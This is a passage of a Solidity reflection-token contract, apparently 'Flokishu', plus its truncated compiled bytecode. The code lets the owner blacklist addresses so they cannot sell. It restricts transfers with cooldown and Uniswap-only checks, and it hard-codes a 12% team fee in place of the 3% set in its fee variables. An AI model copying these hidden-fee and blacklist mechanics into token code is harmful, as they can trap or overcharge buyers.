_allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 12); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f06565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a29565b61045e565b6040516101789190612eeb565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a8565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129da565b61048d565b6040516101e09190612eeb565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294c565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311d565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa6565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294c565b610783565b6040516102b191906130a8565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1d565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f06565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a29565b61098d565b60405161035b9190612eeb565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a65565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af8565b6110d4565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299e565b61121d565b60405161041891906130a8565b60405180910390f35b60606040518060400160405280601881526020017f466c6f6b69736875207c20742e6d652f466c6f6b697368750000000000000000815250905090565b600061047261046b6112a4565b84846112ac565b6001905092915050565b600068056bc75e2d63100000905090565b600061049a848484611477565b61055b846104a66112a4565b610556856040518060600160405280602881526020016137e160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c369092919063ffffffff16565b6112ac565b600190509392505050565b61056e6112a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe8565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe8565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a4565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c9a565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dbb565b9050919050565b6107dc6112a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f466c6f6b69736875f09f90b60000000000000000000000000000000000000000815250905090565b60006109a161099a6112a4565b8484611477565b6001905092915050565b6109b36112a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe8565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133be565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a4565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e29565b50565b610b7d6112a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe8565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613068565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006112ac565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612975565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612975565b6040518363ffffffff1660e01b8152600401610e1f929190612e38565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612975565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e8a565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b21565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a02116545850052128000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107e929190612e61565b602060405180830381600087803b15801561109857600080fd5b505af11580156110ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d09190612acf565b5050565b6110dc6112a4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116090612fe8565b60405180910390fd5b600081116111ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a390612fa8565b60405180910390fd5b6111db60646111cd8368056bc75e2d6310000061212390919063ffffffff16565b61219e90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161121291906130a8565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131390613048565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390612f68565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146a91906130a8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114de90613028565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154e90612f28565b60405180910390fd5b6000811161159a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159190613008565b60405180910390fd5b6115a2610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161057506115e0610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7357600f60179054906101000a900460ff1615611843573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ec5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117465750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184257600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178c6112a4565b73ffffffffffffffffffffffffffffffffffffffff1614806118025750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ea6112a4565b73ffffffffffffffffffffffffffffffffffffffff16145b611841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183890613088565b60405180910390fd5b5b5b60105481111561185257600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f65750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ff57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119aa5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a005750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a185750600f60179054906101000a900460ff165b15611ab95742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6857600080fd5b603c42611a7591906131de565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac430610783565b9050600f60159054906101000a900460ff16158015611b315750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b495750600f60169054906101000a900460ff165b15611b7157611b5781611e29565b60004790506000811115611b6f57611b6e47611c9a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c1a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2457600090505b611c30848484846121e8565b50505050565b6000838311158290611c7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c759190612f06565b60405180910390fd5b5060008385611c8d91906132bf565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfd600a611cef60048661212390919063ffffffff16565b61219e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d28573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d8c600a611d7e60068661212390919063ffffffff16565b61219e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db7573d6000803e3d6000fd5b5050565b6000600654821115611e02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df990612f48565b60405180910390fd5b6000611e0c612215565b9050611e21818461219e90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e87577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb55781602001602082028036833780820191505090505b5090503081600081518110611ef3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9557600080fd5b505afa158015611fa9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fcd9190612975565b81600181518110612007577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206e30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112ac565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d29594939291906130c3565b600060405180830381600087803b1580156120ec57600080fd5b505af1158015612100573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121365760009050612198565b600082846121449190613265565b90508284826121539190613234565b14612193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218a90612fc8565b60405180910390fd5b809150505b92915050565b60006121e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612240565b905092915050565b806121f6576121f56122a3565b5b6122018484846122d4565b8061220f5761220e61249f565b5b50505050565b60008060006122226124b1565b91509150612239818361219e90919063ffffffff16565b9250505090565b60008083118290612287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227e9190612f06565b60405180910390fd5b50600083856122969190613234565b9050809150509392505050565b60006008541480156122b757506000600954145b156122c1576122d2565b600060088190555060006009819055505b565b6000806000806000806122e687612513565b95509550955095509550955061234486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242581612622565b61242f84836126df565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248c91906130a8565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b60008060006006549050600068056bc75e2d6310000090506124e768056bc75e2d6310000060065461219e90919063ffffffff16565b8210156125065760065468056bc75e2d6310000093509350505061250f565b81819350935050505b9091565b600080600080600080600080600061252f8a600854600c612719565b925092509250600061253f612215565b905060008060006125528e8787876127af565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125bc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c36565b905092915050565b60008082846125d391906131de565b905083811015612618576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260f90612f88565b60405180910390fd5b8091505092915050565b600061262c612215565b90506000612643828461212390919063ffffffff16565b905061269781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f48260065461257a90919063ffffffff16565b60068190555061270f816007546125c490919063ffffffff16565b6007819055505050565b6000806000806127456064612737888a61212390919063ffffffff16565b61219e90919063ffffffff16565b9050600061276f6064612761888b61212390919063ffffffff16565b61219e90919063ffffffff16565b905060006127988261278a858c61257a90919063ffffffff16565b61257a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c8858961212390919063ffffffff16565b905060006127df868961212390919063ffffffff16565b905060006127f6878961212390919063ffffffff16565b9050600061281f82612811858761257a90919063ffffffff16565b61257a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061284b6128468461315d565b613138565b9050808382526020820190508285602086028201111561286a57600080fd5b60005b8581101561289a578161288088826128a4565b84526020840193506020830192505060018101905061286d565b5050509392505050565b6000813590506128b38161379b565b92915050565b6000815190506128c88161379b565b92915050565b600082601f8301126128df57600080fd5b81356128ef848260208601612838565b91505092915050565b600081359050612907816137b2565b92915050565b60008151905061291c816137b2565b92915050565b600081359050612931816137c9565b92915050565b600081519050612946816137c9565b92915050565b60006020828403121561295e57600080fd5b600061296c848285016128a4565b91505092915050565b60006020828403121561298757600080fd5b6000612995848285016128b9565b91505092915050565b600080604083850312156129b157600080fd5b60006129bf858286016128a4565b92505060206129d0858286016128a4565b9150509250929050565b6000806000606084860312156129ef57600080fd5b60006129fd868287016128a4565b9350506020612a0e868287016128a4565b9250506040612a1f86828701612922565b9150509250925092565b60008060408385031215612a3c57600080fd5b6000612a4a858286016128a4565b9250506020612a5b85828601612922565b9150509250929050565b600060208284031215612a7757600080fd5b600082013567ffffffffffffffff811115612a9157600080fd5b612a9d848285016128ce565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128f8565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef8482850161290d565b91505092915050565b600060208284031215612b0a57600080fd5b6000612b1884828501612922565b91505092915050565b600080600060608486031215612b3657600080fd5b6000612b4486828701612937565b9350506020612b5586828701612937565b9250506040612b6686828701612937565b9150509250925092565b6000612b7c8383612b88565b60208301905092915050565b612b91816132f3565b82525050565b612ba0816132f3565b82525050565b6000612bb182613199565b612bbb81856131bc565b9350612bc683613189565b8060005b83811015612bf7578151612bde8882612b70565b9750612be9836131af565b925050600181019050612bca565b5085935050505092915050565b612c0d81613305565b82525050565b612c1c81613348565b82525050565b6000612c2d826131a4565b612c3781856131cd565b9350612c4781856020860161335a565b612c5081613494565b840191505092915050565b6000612c686023836131cd565b9150612c73826134a5565b604082019050919050565b6000612c8b602a836131cd565b9150612c96826134f4565b604082019050919050565b6000612cae6022836131cd565b9150612cb982613543565b604082019050919050565b6000612cd1601b836131cd565b9150612cdc82613592565b602082019050919050565b6000612cf4601d836131cd565b9150612cff826135bb565b602082019050919050565b6000612d176021836131cd565b9150612d22826135e4565b604082019050919050565b6000612d3a6020836131cd565b9150612d4582613633565b602082019050919050565b6000612d5d6029836131cd565b9150612d688261365c565b604082019050919050565b6000612d806025836131cd565b9150612d8b826136ab565b604082019050919050565b6000612da36024836131cd565b9150612dae826136fa565b604082019050919050565b6000612dc66017836131cd565b9150612dd182613749565b602082019050919050565b6000612de96011836131cd565b9150612df482613772565b602082019050919050565b612e0881613331565b82525050565b612e178161333b565b82525050565b6000602082019050612e326000830184612b97565b92915050565b6000604082019050612e4d6000830185612b97565b612e5a6020830184612b97565b9392505050565b6000604082019050612e766000830185612b97565b612e836020830184612dff565b9392505050565b600060c082019050612e9f6000830189612b97565b612eac6020830188612dff565b612eb96040830187612c13565b612ec66060830186612c13565b612ed36080830185612b97565b612ee060a0830184612dff565b979650505050505050565b6000602082019050612f006000830184612c04565b92915050565b60006020820190508181036000830152612f208184612c22565b905092915050565b60006020820190508181036000830152612f4181612c5b565b9050919050565b60006020820190508181036000830152612f6181612c7e565b9050919050565b60006020820190508181036000830152612f8181612ca1565b9050919050565b60006020820190508181036000830152612fa181612cc4565b9050919050565b60006020820190508181036000830152612fc181612ce7565b9050919050565b60006020820190508181036000830152612fe181612d0a565b9050919050565b6000602082019050818103600083015261300181612d2d565b9050919050565b6000602082019050818103600083015261302181612d50565b9050919050565b6000602082019050818103600083015261304181612d73565b9050919050565b6000602082019050818103600083015261306181612d96565b9050919050565b6000602082019050818103600083015261308181612db9565b9050919050565b600060208201905081810360008301526130a181612ddc565b9050919050565b60006020820190506130bd6000830184612dff565b92915050565b600060a0820190506130d86000830188612dff565b6130e56020830187612c13565b81810360408301526130f78186612ba6565b90506131066060830185612b97565b6131136080830184612dff565b9695505050505050565b60006020820190506131326000830184612e0e565b92915050565b6000613142613153565b905061314e828261338d565b919050565b6000604051905090565b600067ffffffffffffffff82111561317857613177613465565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e982613331565b91506131f483613331565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322957613228613407565b5b828201905092915050565b600061323f82613331565b915061324a83613331565b92508261325a57613259613436565b5b828204905092915050565b600061327082613331565b915061327b83613331565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b4576132b3613407565b5b828202905092915050565b60006132ca82613331565b91506132d583613331565b9250828210156132e8576132e7613407565b5b828203905092915050565b60006132fe82613311565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061335382613331565b9050919050565b60005b8381101561337857808201518184015260208101905061335d565b83811115613387576000848401525b50505050565b61339682613494565b810181811067ffffffffffffffff821117156133b5576133b4613465565b5b80604052505050565b60006133c982613331565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fc576133fb613407565b5b600182019050919050565b7f4e